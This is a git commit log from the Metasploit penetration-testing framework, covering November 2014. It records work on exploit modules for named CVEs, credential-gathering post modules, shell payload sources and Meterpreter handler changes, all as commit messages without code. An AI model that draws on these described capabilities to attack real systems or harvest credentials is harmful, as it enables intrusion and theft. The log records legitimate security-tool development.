2014-11-24 12:28:19 -06:00
jvazquez-r7
7164c4e038
Use shorter filename
2014-11-24 12:10:08 -06:00
jvazquez-r7
021b27dd83
Clean reporting
2014-11-24 12:01:09 -06:00
jvazquez-r7
f74ab34881
Delente unnecessary check
2014-11-24 11:50:41 -06:00
jvazquez-r7
3c858c793a
Use vprint
2014-11-24 11:49:36 -06:00
spdfire
583494c0db
use BrowserExploitServer
2014-11-24 18:49:27 +01:00
jvazquez-r7
4a169210ab
Use vprint
2014-11-24 11:48:16 -06:00
jvazquez-r7
ecb74c543a
Beautify description
2014-11-24 11:27:32 -06:00
jvazquez-r7
c52104e91d
Beautify metadata
2014-11-24 11:24:41 -06:00
jvazquez-r7
fcb4bea3c1
Fix code comments
2014-11-24 11:23:27 -06:00
Tod Beardsley
77b1f2d2f0
Fixup for release
...
Fixes the grammar on the SMTP enumeration module and the Cisco CDP
module, and adds a more informative description and reference for the
CDP module introduced on PR #4061 .
2014-11-24 10:50:43 -06:00
jvazquez-r7
10d0305cb2
Update from upstream master
2014-11-24 09:48:43 -06:00
Jon Hart
e9750e2df8
Minor style/usability cleanups
2014-11-24 06:57:31 -08:00
jvazquez-r7
1e38e194a8
Land #4251 , @hmoore-r7's fixes #4244 msfrpcd
...
* msfrpcd quits with undefined method error
* FIX: Remove call to legacy db.sink queue
2014-11-24 08:57:25 -06:00
Luke Imhoff
38ee3d8c93
Up aruba timeout for simplecov overhead
...
MSP-11647
Doubling the timeout is arbitrary, but travis-ci's limit for no output
is 10 minutes, so it can't go much higher.
2014-11-24 08:43:25 -06:00
Luke Imhoff
62ffbaca51
Add simplecov to cucumber env
...
MSP-11647
Port simplecov setup from metasploit-version so that child processes, in
this case msfconsole, will load simplecov and report coverage back to
the parent process. Coverage from msfconsole's cucumber features is the
only way to get coverage on portions of the command dispatcher commands.
2014-11-24 08:07:00 -06:00
spdfire
08a67d78c5
module for CVE-2014-6332.
2014-11-24 08:25:18 +01:00
sinn3r
c8d72f97eb
Land #4252 - Print access level for snmp_login
2014-11-24 00:27:19 -06:00
sinn3r
57419bb0fc
Fix #4253 - Print access level for snmp_login
...
Fix #4253 - module should print the access level
2014-11-22 23:09:15 -06:00
HD Moore
4dc1183ff5
Protecting it once seems like enough (typo)
2014-11-22 17:42:07 -06:00
HD Moore
b96769fe8a
Remove call to legacy db.sink queue, closes #4244
2014-11-22 17:19:12 -06:00
HD Moore
8becf417a7
Qualify ::File to prevent a stacktrace
2014-11-22 17:16:13 -06:00
HD Moore
673e21cfaf
Rework meterpreter SSL & pass datastore to handle_connection()
...
This allows HandlerSSLCert to be used to pass a SSL certificate into the Meterpreter handler. The datastore has to be passed into handle_connection() for this to work, as SSL needs to be initialized on Session.new. This still doesn't pass the datastore into Meterpreter directly, but allows the Session::Meterpreter code to extract and pass down the :ssl_cert option if it was specified. This also fixes SSL certificate caching by expiring the cached cert from the class variables if the configuration has changed. A final change is to create a new SSL SessionID for each connection versus reusing the SSL context, which is incorrect and may lead to problems in the future (if not already).
2014-11-22 15:35:00 -06:00
Peter Marszalik
705bd42b41
tab to space change - line 296
2014-11-22 14:48:44 -06:00
HD Moore
823b4e259a
Make it clear SSLVersion is not advertised since it isn't used
2014-11-22 14:25:09 -06:00
HD Moore
842a7a38d8
Change SSLCert to HandlerSSLCert to avoid conflicts with modules
2014-11-22 14:23:56 -06:00
HD Moore
9ed8c59459
Bring options over from reverse_tcp (bind address, etc).
...
Also includes the SSLCert => HandlerSSLCert change
2014-11-22 14:22:54 -06:00
sinn3r
b34ddbdfff
Land #4247 - Auto-generated SSL certs now match "snakeoil" defaults
2014-11-22 13:36:06 -06:00
tate
9828598cb7
removing timeout method and option
2014-11-22 00:28:56 -07:00
tate
57b04f96a7
working with DLSw protocol check
2014-11-21 23:54:00 -07:00
tate
b9a274f869
improving DLSw detection
2014-11-21 18:58:02 -07:00
HD Moore
ba9c763f7e
Auto-generated SSL certs now match "snakeoil" defaults
...
This change emulates the auto-generated snakeoil certificate from Ubuntu 14.04. The main changes including moving to 2048-bit RSA, SHA256, a single name CN for subject/issuer, and the removal of most certificate extensions.
2014-11-21 18:25:04 -06:00
wez3
53b69583f4
Add Windows post module for reading/searching Outlook e-mail #4
2014-11-21 20:00:30 +01:00
jvazquez-r7
3ac1f7d4fb
Land #4242 , @Meatballs1 fix for sap_service_discovery report_note
...
* I cannot reproduce @Meatballs1 issue
* But I noticed report_note should :update with :unique_data
* Fixed the :update
2014-11-21 10:16:08 -06:00
jvazquez-r7
e30ee9fee2
Update with :unique_data
2014-11-21 10:14:39 -06:00
jvazquez-r7
90ae9a3ff8
Land #4173 , @wchen-r7's fix for SMB find_first
...
* Fixes #4119 , SMB find_first("\\*") does not return accurate results
* It missed initialization of sid
2014-11-21 09:51:57 -06:00
sinn3r
f2add929d7
Land #4239 - Support SSL intermediate certs
2014-11-21 02:09:40 -06:00
HD Moore
85de75cd5d
Adds a smtp ntlm domain scanner, lands #4241
2014-11-20 22:18:26 -06:00
rwhitcroft
3ddf848abf
Merge pull request #1 from hmoore-r7/smtp_ntlm_domain
...
Module cleanup, error handling, and reporting
2014-11-20 20:43:25 -05:00
HD Moore
99a23ada5c
Module cleanup, error handling, and reporting
2014-11-20 16:18:20 -06:00
Jon Hart
e255db9429
Partial commit
2014-11-20 13:49:36 -08:00
Jon Hart
5d2c02f402
Initial commit of more OO version of Rex/Aux Kademlia support
2014-11-20 13:28:01 -08:00
Jon Hart
94e5ba13a4
YARD and spec cleanup
2014-11-20 13:28:01 -08:00
Jon Hart
b6b288ae3a
Minor style/test cleanup
2014-11-20 13:28:01 -08:00
Jon Hart
df36ac910d
Mostly complete Kademlia PING / BOOTSTRAP scanner
2014-11-20 13:28:01 -08:00
Jon Hart
f5aa3ecb57
Add proper peer decoding
2014-11-20 13:28:01 -08:00
Jon Hart
ab49d01a1b
Add beginnings of Kademlia gather module and protocol support
2014-11-20 13:28:00 -08:00
HD Moore
2f6c4a9ba4
Slight tweak to description/author email formatting
2014-11-20 14:53:52 -06:00
HD Moore
2f92a83092
Change to example.com as the default domain
2014-11-20 14:53:36 -06:00
Meatballs
ee15179441
Fix service discovery errors
2014-11-20 18:22:33 +00:00
Meatballs
f2b80f4ef1
Merge remote-tracking branch 'upstream/master'
2014-11-20 18:18:00 +00:00
Rich Whitcroft
8306d739e3
add scanner module to extract domain from NTLM challenge
2014-11-20 11:02:21 -05:00
HD Moore
d530046164
Bugfix. Chrome is a liar (chain certs properly)
2014-11-19 16:08:03 -06:00
HD Moore
0d091f1c03
Support SSL intermediate certs, closes #4238
...
Note that this does not apply to reverse_tcp meterpreter clients yet, as
they do not allow certificates to be supplied. I abstracted out the SSL
certificate generation and parsing methods so that we can address this
next.
2014-11-19 15:56:49 -06:00
Mark Schloesser
9e7f6728d0
update the single sources with s/SHELLARG/ARGV0/
2014-11-19 22:22:08 +01:00
Mark Schloesser
8e7e5590c9
rename SHELLARG to ARGV0 because that's really what it is
2014-11-19 22:14:24 +01:00
mschloesser-r7
a5aa6b2e78
add source for linux/armle/shell_bind_tcp
2014-11-19 21:53:23 +01:00
mschloesser-r7
ac4c11ca39
work on linux/armle/shell_bind/tcp
...
same changes as to shell_reverse_tcp
2014-11-19 21:53:23 +01:00
mschloesser-r7
ebc70138f6
add source for linux/armle/shell_bind_tcp
2014-11-19 21:53:23 +01:00
mschloesser-r7
8331de2265
add source for linux/armle/shell_reverse_tcp
2014-11-19 21:53:23 +01:00
mschloesser-r7
fd7248b3c0
work on linux/armle/shell_reverse_tcp
...
shorten the execve code, remove exit, grow argv[0] space
2014-11-19 21:53:23 +01:00
HD Moore
abc0640b7b
Fix placeholder, lands #4237
2014-11-19 14:26:10 -06:00
Mark Schloesser
9e9954e831
fix placeholder to show the firmware version I used
2014-11-19 21:23:39 +01:00
Tod Beardsley
6daa8b48a3
Land #4235 , Hikvision exploit
2014-11-19 14:18:54 -06:00
Mark Schloesser
a718e6f83e
add exploit for r7-2014-18 / CVE-2014-4880
2014-11-19 21:07:02 +01:00
Tod Beardsley
6a58774dd6
Land #4234 , crediting @jduck
2014-11-19 12:43:04 -06:00
tate
a4a1048f95
modified to get data collection off sock working
2014-11-19 11:17:58 -07:00
Jon Hart
a91a5f3c4b
Land #4067 , @fozavci's IN:SRV support for fakedns
2014-11-19 08:38:00 -08:00
Jon Hart
684975a315
Use correct target address for fake As
2014-11-19 08:28:56 -08:00
Jon Hart
3777e78a85
Sanitize creation of target host. Return minimal for SRV
2014-11-19 08:28:56 -08:00
Jon Hart
52e004d8ab
Use less conflicting name for SRV record port
2014-11-19 08:28:56 -08:00
Jon Hart
ee90e4353b
Add more consistent logging for fakedns types that support fake vs bypass
2014-11-19 08:28:55 -08:00
Jon Hart
0910275fac
Don't artificially insert additional records when BYPASS
2014-11-19 08:28:55 -08:00
Fatih Ozavci
a38cb3ee53
@jhart-r7 commits are accepted and conflicts fixed.
2014-11-19 08:28:55 -08:00
Fatih Ozavci
ab7f6866f5
FAKE and BYPASS actions are implemented for SRV queries
2014-11-19 08:28:55 -08:00
Fatih Ozavci
f403d27fbd
Author update for the fakedns module
2014-11-19 08:28:55 -08:00
Fatih Ozavci
47f7d8c4be
IN:SRV expansion for Fake DNS server
2014-11-19 08:28:55 -08:00
Joe Vennix
a9cb6e0d2f
Add jduck as an author on samsung_knox_smdm_url
2014-11-19 10:18:08 -06:00
Jon Hart
31b366dedb
Land #4061 , @fozavci's CDP testing module
2014-11-19 08:17:41 -08:00
Jon Hart
895bdd9c6f
Remove unused options
2014-11-19 08:09:52 -08:00
Jon Hart
134046975e
Remove report mixin which was not used
2014-11-19 08:09:52 -08:00
Jon Hart
4c112e71c1
Remove errant whitespace, unnecessary to_s
2014-11-19 08:09:52 -08:00
Jon Hart
f54fc3da87
More CDP cleanup. Loop, cleaner packet construction, style
2014-11-19 08:09:52 -08:00
Jon Hart
0dac2de3fd
Use PacketFu::EthHeader.mac2str for MAC formatting
2014-11-19 08:09:52 -08:00
Jon Hart
2d484a3e1a
Remove sniffing capabilities from cdp -- use wireshark/tcpdump instead
2014-11-19 08:09:52 -08:00
Jon Hart
39d691086e
First round of basic Ruby style cleanup in cdp
2014-11-19 08:09:52 -08:00
Fatih Ozavci
7e93d890ab
Viproy is removed from names
...
Author section is fixed
2014-11-19 08:09:52 -08:00
Fatih Ozavci
d78d57eaf4
Viproy VoIP Pen-Test Kit - Cisco CDP Testing Module
2014-11-19 08:09:52 -08:00
Meatballs
1d0d5582c1
Remove datastore options
2014-11-19 15:05:36 +00:00
Meatballs
7004c501f8
Merge remote-tracking branch 'upstream/master' into psexec_refactor_round2
...
Conflicts:
modules/exploits/windows/smb/psexec.rb
2014-11-19 14:40:50 +00:00
William Vu
e66c9be66d
Land #4232 , rm CHANGELOG.md from orbit
2014-11-19 08:17:40 -06:00
Peter Marszalik
900aa9cd6b
powerdump.ps1 bug - corrupt hash fix
...
Fixed the bug where the hashes are not being extracted correctly when LM is disabled and history is enabled.
Rather than relying on length, LM and NT headers are checked. Four bytes at 0xa0 show if LM exists and four bytes at 0xac show if NT exists. Details on this known issue can be found in the following whitepaper from blackhat:
https://media.blackhat.com/bh-us-12/Briefings/Reynolds/BH_US_12_Reynods_Stamp_Out_Hash_WP.pdf
2014-11-18 23:10:57 -06:00
tate
da025891cc
finish merge
2014-11-18 19:39:12 -07:00
tate
a4bb07eafb
resolving merge conflicts, hopefully
2014-11-18 19:28:58 -07:00
Tate Hansen
035ee2b940
Merge pull request #1 from jhart-r7/landing-4229-jhart
...
Minor Ruby style and module usability cleanup
2014-11-18 19:08:18 -07:00
Jon Hart
e2834519a3
Minor Ruby style and module usability cleanup
2014-11-18 16:40:20 -08:00
Jon Hart
7d6e7a6bfa
Minor Ruby style and module usability cleanup
2014-11-18 16:33:05 -08:00
tate
a05e05f81a
prefixing all print statements with ip:rport
2014-11-18 17:03:48 -07:00
jvazquez-r7
1f2313d87e
Land #4054 , @jhart-r7's SunRPC lib and module cleanup
2014-11-18 17:01:01 -06:00
tate
6b8b49ff98
improving metasploit module based on feedback
2014-11-18 15:03:18 -07:00
jvazquez-r7
fb4b6543e2
Handle other rex exceptions
2014-11-18 15:57:41 -06:00
jvazquez-r7
a0f92ce26e
Update module with review
2014-11-18 15:43:53 -06:00
Tod Beardsley
5e54532dda
Drop the CHANGELOG.md
...
Just use `git shortlog` instead if you're really interested in the
changes from your arbitrary point in history.
2014-11-18 14:55:12 -06:00
jvazquez-r7
dff6af0747
Restore timeout
2014-11-18 12:17:10 -08:00
jvazquez-r7
542eb6e301
Handle exception in brute force exploits
2014-11-18 12:17:10 -08:00
jvazquez-r7
4844447d17
Use 20 seconds as default timeout
...
* Because it's the default timeout on Rex::Proto::SunRPC::Client
2014-11-18 12:17:10 -08:00
jvazquez-r7
694561dd0f
Dont shadow methods with local variables, just in case...
2014-11-18 12:17:10 -08:00
Jon Hart
60e31cb342
Allow sunrpc_create to raise on its own
2014-11-18 12:17:10 -08:00
Jon Hart
500c4249fe
Update solaris_kcms_readfile to gracefully handle RPC errors
2014-11-18 12:17:10 -08:00
Jon Hart
82f89e620b
Clean up nfs mount scanner to *print_* better
2014-11-18 12:17:10 -08:00
Jon Hart
b2f9307e0a
vprint # of RPC programs, since the table comes right after
2014-11-18 12:17:10 -08:00
Jon Hart
bfde6047d5
Introduce a user-controlled timeout for SunRPC stuff
2014-11-18 12:17:10 -08:00
Jon Hart
a9f9a8b116
Introduce new ::Rex::Proto::SunRPC::RPCError, making run_host cleaner
2014-11-18 12:17:10 -08:00
Jon Hart
c7794a7ed9
Clean up Ruby style in sunrpc_portmapper
2014-11-18 12:17:09 -08:00
Jon Hart
059d84e4ca
More consistent *print_* and Rex::Ui::Text::Table for sunrpc_portmapper
2014-11-18 12:17:09 -08:00
Jon Hart
61b6a14400
Correct email format
2014-11-18 11:50:01 -08:00
Jon Hart
d94ca2b89a
Add doc for Rex::Proto::Steam
2014-11-18 11:46:28 -08:00
Tod Beardsley
0da756bc96
Add a don't to CONTRIBUTING about merge messages
...
Also updated the wiki with an example message to allay any confusion
about avoiding the default merge message.
http://r-7.co/MSF-Landing-PRs
Also fix an italics where it should have been bold.
2014-11-18 13:35:18 -06:00
Jon Hart
6330c428d7
Address some of @jvazquez-r7's spec feedback
2014-11-18 11:06:32 -08:00
jvazquez-r7
7358bcfe90
Restore timeout
2014-11-18 12:48:35 -06:00
jvazquez-r7
42a40cb128
Handle exception in brute force exploits
2014-11-18 11:20:41 -06:00
jvazquez-r7
53cf85dcb4
Use 20 seconds as default timeout
...
* Because it's the default timeout on Rex::Proto::SunRPC::Client
2014-11-18 11:03:20 -06:00
jvazquez-r7
e453f1dd11
Dont shadow methods with local variables, just in case...
2014-11-18 11:02:27 -06:00
Tod Beardsley
4ecb892bdb
Land #4226 , user friendly Bundler error message
...
Fixes #4222 , thanks @jhart-r7!
2014-11-18 11:01:28 -06:00
wez3
435c6eef81
Add Windows post module for reading/searching Outlook e-mail #3
2014-11-18 16:27:33 +01:00
Trevor Rosen
d04441f638
Merge branch 'landing/4207' into upstream-master
...
Land #4207
* Ensure that `rake spec` doesn't create too many threads
2014-11-18 09:23:20 -06:00
Trevor Rosen
267f93ff81
Merge branch 'landing/4205' into upstream-master
...
Land #4205
* Remove unused Msf::DBManager::Sink
* Part of improvements to thread management
2014-11-18 08:59:32 -06:00
Luke Imhoff
8249ef62c9
Merge branch 'master' into chore/MSP-11614/remove-msf-db-manager-sink
...
MSP-11614
Conflicts:
spec/lib/msf/core/task_manager_spec.rb
2014-11-18 08:54:14 -06:00
Trevor Rosen
fff36f5968
Merge branch 'landing/4189' into upstream-master
...
Land #4189
* Detect leaked threads during spec runs
* Manage threads before/after spec runs
2014-11-18 08:33:38 -06:00
Spencer McIntyre
eefeb452b1
Fix two typos for payload specs
2014-11-18 08:50:06 -05:00
Spencer McIntyre
809a8d3a6e
Add the test context to payloads_spec for py http
2014-11-18 08:31:17 -05:00
wez3
91a53dc36c
Add Windows post module for reading/searching Outlook e-mail
2014-11-18 12:41:24 +01:00
tate
703e0486fb
Add DLSw leak capture module for CVE-2014-7992
2014-11-17 20:35:54 -07:00
Jon Hart
f51dd2b6f4
Use bundler/setup for more graceful bundler related failures
2014-11-17 18:06:01 -08:00
Spencer McIntyre
d5ebd8a2dc
Shorten the reverse_http stager by renaming a var
2014-11-17 19:04:26 -05:00
jvazquez-r7
7daedac399
Land #3972 @jhart-r7's post gather module for remmina Remmina
...
* Gather credentials managed with Remmina
2014-11-17 16:44:41 -06:00
jvazquez-r7
45d219c0d8
Land #4102 , @jhart-r7's fix for nbns_response
...
* Use request src_port instead of 137
2014-11-17 15:46:38 -06:00
Jon Hart
4d81a9da65
Allow sunrpc_create to raise on its own
2014-11-17 11:58:26 -08:00
Tod Beardsley
286827c6e5
Land #4186 , Samsung KNOX exploit. Ty @jvennix-r7!
2014-11-17 13:29:39 -06:00
Tod Beardsley
39980c7e87
Fix up KNOX caps, descriptive description
2014-11-17 13:29:00 -06:00
Samuel Huckins
9e8f1d1160
Land #4218 , MDM bump
2014-11-17 13:26:40 -06:00
Tod Beardsley
0f41bdc8b8
Add an OSVDB ref
2014-11-17 13:26:21 -06:00
Luke Imhoff
a2085199f5
Spec methods Msf::Ui::Console::CommandDispatcher::Db responds to
...
MSP-11622
2014-11-17 13:22:13 -06:00
Spencer McIntyre
2b36c1bb43
Fix pymeterp bugs from testing in osx and python3
2014-11-17 14:04:30 -05:00
nullbind
8c34f35ca9
added mssql_enum_windows_domain_accounts.rb
2014-11-17 13:03:43 -06:00
Luke Imhoff
47f7119f58
Order spec
...
MSP-11622
Sort specs by describe/context name so it is easier to see if a method
has no specs.
2014-11-17 12:58:04 -06:00
jvazquez-r7
54de805b7a
Report credentials
...
* Even when we are not associating them to hosts
* It's a post module so maybe we cannot solve some names
2014-11-17 12:49:18 -06:00
Jon Hart
9e2513d4de
Update solaris_kcms_readfile to gracefully handle RPC errors
2014-11-17 10:41:17 -08:00
Jon Hart
364315122a
Clean up nfs mount scanner to *print_* better
2014-11-17 10:41:17 -08:00
Jon Hart
1fda9a36b7
vprint # of RPC programs, since the table comes right after
2014-11-17 10:41:17 -08:00
Jon Hart
151df3ae05
Introduce a user-controlled timeout for SunRPC stuff
2014-11-17 10:41:17 -08:00
Jon Hart
7098d89058
Introduce new ::Rex::Proto::SunRPC::RPCError, making run_host cleaner
2014-11-17 10:41:17 -08:00
Jon Hart
91abe6f7c7
Clean up Ruby style in sunrpc_portmapper
2014-11-17 10:41:17 -08:00
Jon Hart
47c7df96c5
More consistent *print_* and Rex::Ui::Text::Table for sunrpc_portmapper
2014-11-17 10:41:16 -08:00
wez3
7a2b7208e7
Add Windows post module for reading/searching Outlook e-mail
2014-11-17 19:38:55 +01:00
jvazquez-r7
b3b37c7c9f
Use longer description lines
2014-11-17 12:23:22 -06:00
jvazquez-r7
145e610c0f
Avoid shadowing new method
2014-11-17 12:22:30 -06:00
jvazquez-r7
cc8b37d619
Make directory mandatory
2014-11-17 12:15:33 -06:00
jvazquez-r7
15b7435c34
Make it YARD compliant documentation
2014-11-17 12:03:37 -06:00
William Vu
fd53e969fd
Land #4217 , browser_autopwn variable fix
2014-11-17 11:46:52 -06:00
William Vu
405eae4b6e
Remove EOL whitespace
2014-11-17 11:46:36 -06:00
jvazquez-r7
20195e7f37
Update from upstream/master
2014-11-17 11:43:48 -06:00
William Vu
91ba25a898
Land #4208 , psexec delay fix
2014-11-17 11:35:56 -06:00
jvazquez-r7
2c36f79934
Land #4165 , @jhart-r7's check for datastore options on Cisco dtp
...
* Fix modules/auxiliary/spoof/cisco/dtp
* Just one of the two options is required
2014-11-17 11:23:31 -06:00
William Vu
fa9bd88091
Land #4215 , new CVEs for older modules
2014-11-17 11:21:46 -06:00
Jon Hart
cd32f00ebc
Add dir doc
2014-11-17 09:15:08 -08:00
Jon Hart
98db8b5ad9
When not a meterpreter session, split dir/ls output to match meterpreter entries output
2014-11-17 09:10:03 -08:00
Jon Hart
d5afb2b766
%q
2014-11-17 09:01:14 -08:00
Jon Hart
ce73e32673
Doc and named captures
2014-11-17 09:01:14 -08:00
Jon Hart
bf05fe1389
Refactoring, simplification, better print_*
2014-11-17 09:01:14 -08:00
Jon Hart
6e1cdfde36
Rip out create_credential* stuff. Use what works
2014-11-17 09:01:14 -08:00
Jon Hart
e5bb13a609
If remmina config files are missing data for creds, tell me what
2014-11-17 09:01:14 -08:00
Jon Hart
875d1f9ea0
Convert Remmina credential gatherer to use new credentials model
2014-11-17 09:01:14 -08:00
Jon Hart
5f1a1f8ed3
Use dir for Windows only, ls for the rest
2014-11-17 09:01:14 -08:00
Jon Hart
086f0c02d6
Remove excessive logging
2014-11-17 09:01:14 -08:00
Jon Hart
6519b0e2cb
Add dir and ls to Msf::Post::File
2014-11-17 09:01:14 -08:00
Jon Hart
90e58e9e71
Binary encoding
2014-11-17 09:01:14 -08:00
Jon Hart
e76373340e
Correct some Rubocop things that I agree with
2014-11-17 09:01:14 -08:00
Jon Hart
f729a6cf02
Add Remmina RDP/SSH/VNC password gathering
2014-11-17 09:01:13 -08:00
Matt Buck
5db7d1edd5
Bump mdm version number
2014-11-17 10:59:41 -06:00
William Vu
07c3c41269
Land #4211 , Ruby version bump
2014-11-17 10:38:34 -06:00
Joe Vennix
cd61975966
Change puts to vprint_debug.
2014-11-17 10:13:13 -06:00
floyd
9243cfdbb7
Minor fixes to ruby style things
2014-11-17 17:12:17 +01:00
Joe Vennix
fc1635e80a
Fix BAP JS ref error.
2014-11-17 10:06:15 -06:00
floyd
91aa5fa3cf
Some simple ruby convention changes that hopefully make ruby people happy
2014-11-17 16:48:52 +01:00
floyd
3c1ce5072c
Replaced camel case states with snail_case
2014-11-17 16:37:04 +01:00
Luke Imhoff
33b42389f0
Merge branch 'feature/MSP-11147/thread-leak-detection' into feature/MSP-11605/lazy-thread-creation
...
MSP-11605
2014-11-17 09:35:47 -06:00
Luke Imhoff
e3869ee1ae
Include Thread status when printing leaked threads
...
MSP-11147
Sometime travis-ci is showing leaked threads even when
'Msf::Framework#threads cleaner' is being used, so I'm adding the
`Thread#status` to the data printed about the Thread to see if the
sometimes leaked threads have an odd status. There's still a chance
that there will be a race-condition between when I call Thread.list and
I ask for each Thread's status that the VM could finish aborting a
Thread so that status I print isn't the same as the one that caused the
Thread to be returned in Thread.list.
2014-11-17 09:30:46 -06:00
Luke Imhoff
ba836f2383
Only calculate thread UUIDs if they are needed
...
MSP-11147
Only calculate thread UUIDs if the thread count exceeds
EXPECTED_THREAD_COUNT_AROUND_SUITE.
2014-11-17 09:17:44 -06:00
Luke Imhoff
024b449b55
Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
...
MSP-11605
2014-11-17 08:50:33 -06:00
jvazquez-r7
6f5183afec
Land #4216 , @hmoore-r7 additions to the tftp dictionary
...
* Changes originally submitted by Chris McNab
2014-11-17 08:48:16 -06:00
Luke Imhoff
861af1ed2c
Revert "Diff triggering comment"
...
MSP-11616
This reverts commit d5246036c4 .
2014-11-17 08:41:43 -06:00
Luke Imhoff
ef27d3f6b9
Enable fast_finish on travis-ci
...
MSP-11616
If any one build fails the entire build will be marked as failed so the
github status can be written back faster.
2014-11-17 08:33:05 -06:00
Luke Imhoff
eea5a40677
Don't run bundle exec rake $RAKE_TASK if git diff --exit-code with 1
...
MSP-11616
Travis runs all entries in the script section even if earlier entries
exit with 1 and only fails the build as a whole once all entries have
run by &&ing together the exit codes. Running `bundle exec rake
$RAKE_TASK` if the db/schema.rb is missing updates is unnecessary, so
use `&&` in the script section to stop `bundle exec rake $RAKE_TASK`
from running if `git diff --exit-code` exits with 1.
2014-11-17 08:12:47 -06:00
Luke Imhoff
d5246036c4
Diff triggering comment
...
MSP-11616
Add comment to db/schema.rb so that it will trigger `git diff
--exit-code` to be 1 on travis-ci.
2014-11-17 08:02:00 -06:00
Luke Imhoff
e5b9059f39
Merge branch 'master' into feature/MSP-11616/db-schema-fail
...
MSP-11616
2014-11-17 07:52:17 -06:00
Joe Vennix
2a24151fa8
Remove BAP target, payload is flaky. Add warning.
2014-11-17 02:02:37 -06:00
Joe Vennix
105a28d8fd
Run the tests again.
2014-11-16 23:42:40 -06:00
Joe Vennix
a7aeac5df3
Fix APK signing on osx.
2014-11-16 23:29:54 -06:00
HD Moore
1d8b746d89
Adds new TFTP file names, submitted by Chris McNab
2014-11-16 18:47:11 -06:00
HD Moore
9fe4994492
Chris McNab has been working with MITRE to add these CVEs
...
These CVEs are not live yet, but have been confirmed by cve-assign
t
2014-11-16 18:42:53 -06:00
Spencer McIntyre
0bf93acf6b
Pymeterp http proxy and user agent support
2014-11-16 14:29:20 -05:00
Joe Vennix
5de69ab6a6
minor syntax fixes.
2014-11-15 21:39:37 -06:00
Joe Vennix
3fb6ee4f7d
Remove dead constant.
2014-11-15 21:38:11 -06:00
Joe Vennix
7a62b71839
Some URL fixes from @jduck and exploit ideas from Andre Moulu.
...
The exploit works with the URLs fixed, installs the APK, but hangs at the Installing...
screen and never actually launches. We tried opening the APK in a setTimeout() intent
URI, but the previously launched intent seemed unresponsive. Andre had the bright
idea of re-opening the previously launched intent with invalid args, crashing it and
allow us to launch the payload.
2014-11-15 21:33:16 -06:00
William Vu
a521d469ed
Land #4194 , Quake protocol support
2014-11-15 17:44:19 -06:00
Spencer McIntyre
e562883ba9
Escape inserted vars and fix core_loadlib
2014-11-15 15:06:18 -05:00
sinn3r
d207345778
Land #4200 - report_note handling incorrect protocol names
2014-11-15 13:16:58 -06:00
Christian Mehlmauer
28135bcb09
Land #4159 , MantisBT PHP code execution by @itseco
2014-11-15 07:49:54 +01:00
Rich Lundeen
27d5ed624f
fix for IE9 exploit config
2014-11-14 17:21:59 -08:00
Rich Lundeen
17ab0cf96e
ADD winxpIE8 exploit for MS13-080
2014-11-14 17:16:51 -08:00
Luke Imhoff
ceb7a63a5c
Merge branch 'master' into feature/MSP-11147/thread-leak-detection
...
MSP-11147
2014-11-14 18:20:55 -06:00
Tod Beardsley
9c4614f73c
Oh good, another Ruby version bump
...
DoS Security issue in Ruby 1.9.3-p550 and prior, described here:
https://www.ruby-lang.org/en/news/2014/11/13/ruby-1-9-3-p551-is-released/
Not a hair-on-fire kind of deal, but should update at the earliest
opportunity to avoid getting DoS'ed by a malicious target.
2014-11-14 17:28:16 -06:00
Spencer McIntyre
7c14e818f6
Patch pymeterp http settings
2014-11-14 17:12:23 -05:00
sinn3r
e194d5490d
See #4162 - Don't delay before deleting a file via SMB
...
So I was looking at issue #4162 , and on my box I was seeing this
problem of the exploit failing to delete the payload in C:\Windows,
and the error was "Rex::Proto::SMB::Exceptions::NoReply The SMB
server did not reply to our request". I ended up removing the sleep(),
and that got it to function properly again. The box was a Win 7 SP1.
I also tested other Winodws boxes such as Win XP SP3, Windows Server
2008 SP2 and not having the sleep() doesn't seem to break anything.
So I don't even know why someone had to add the sleep() in the first
place.
2014-11-14 15:45:37 -06:00
William Vu
0477c5f8fe
Land #4191 , merge_check_key update for Ruby 2.1.4
2014-11-14 15:33:47 -06:00
Spencer McIntyre
681ae8ce6b
Pymet reverse_http stager basic implementation
2014-11-14 14:15:46 -05:00
Luke Imhoff
a2ccaad1ae
Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
...
MSP-11605
2014-11-14 13:06:14 -06:00
Trevor Rosen
3b558624f3
Merge branch 'landing/4129' into upstream-master
...
Landing #4129
* Detect leaked constants in spec runs
2014-11-14 12:55:56 -06:00
Luke Imhoff
4e2277c7d1
Move git diff --exit-code so build fails instead of errors
...
MSP-11616
With `git diff --exit-code` in `before_script` it caused the build to
show as errored in travis and didn't turn the merge button red, so try
moving to the `script` section to see if that will make the merge button
red.
2014-11-14 12:50:27 -06:00
Luke Imhoff
bc53e7667d
Remove unnecessary thread cleaning from Msfcli spec
...
MSP-11605
2014-11-14 12:40:04 -06:00
Luke Imhoff
43511e648a
Merge branch 'chore/MSP-11614/remove-msf-db-manager-sink' into feature/MSP-11605/lazy-thread-creation
...
MSP-11605
Conflicts:
spec/lib/msf/core/task_manager_spec.rb
2014-11-14 11:59:12 -06:00
Luke Imhoff
14fa1dba0b
Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
...
MSP-11605
2014-11-14 11:58:16 -06:00
Luke Imhoff
5e6400a506
Remove Msf::TaskManager
...
MSP-11614
`Msf::TaskManager` was only used for `Msf::DBManager#sink`, which was
removed because it was unused, so `Msf::TaskManager` can also be
removed.
2014-11-14 11:15:05 -06:00
jvazquez-r7
ee9b1aa83a
Manage Rex::ConnectionRefused exceptions
2014-11-14 10:53:03 -06:00
Luke Imhoff
55a8f6f339
Remove Msf::DBManager::Sink
...
MSP-11614
`Msf::DBManager::Sink` contains code for a `sink` that is a meant to
serialize database events, but it's unneeded because all database events
go directly through ActiveRecord, which handles threading.
2014-11-14 10:51:51 -06:00
Tod Beardsley
723028d5bc
Land #4204 , add missing migration
2014-11-14 10:32:35 -06:00
Spencer McIntyre
6b2387b7fc
Prepare for a reverse_http stager
2014-11-14 11:15:22 -05:00
Luke Imhoff
8863367cc7
Merge branch 'chore/MSP-11615/update-db-schema' into chore/MSP-11614/remove-msf-db-manager-sink
...
MSP-11614
2014-11-14 10:12:18 -06:00
Luke Imhoff
9c72a195d8
Fail travis build if db/schema.rb is missing commit of update
...
MSP-11616
Use `git diff --exit-code` to exit with 1 and fail the build if there is
an update to db/schema.rb after `rake db:migrate` runs on travis.
2014-11-14 09:57:03 -06:00
Luke Imhoff
40c49cefd8
Update db/schema.rb
...
MSP-11615
To get type column on metasploit_credential_publics.
2014-11-14 09:39:26 -06:00
Luke Imhoff
8925db2ec1
Remove thread cleaner from Msf::Simple::Framework shared context
...
MSP-11605
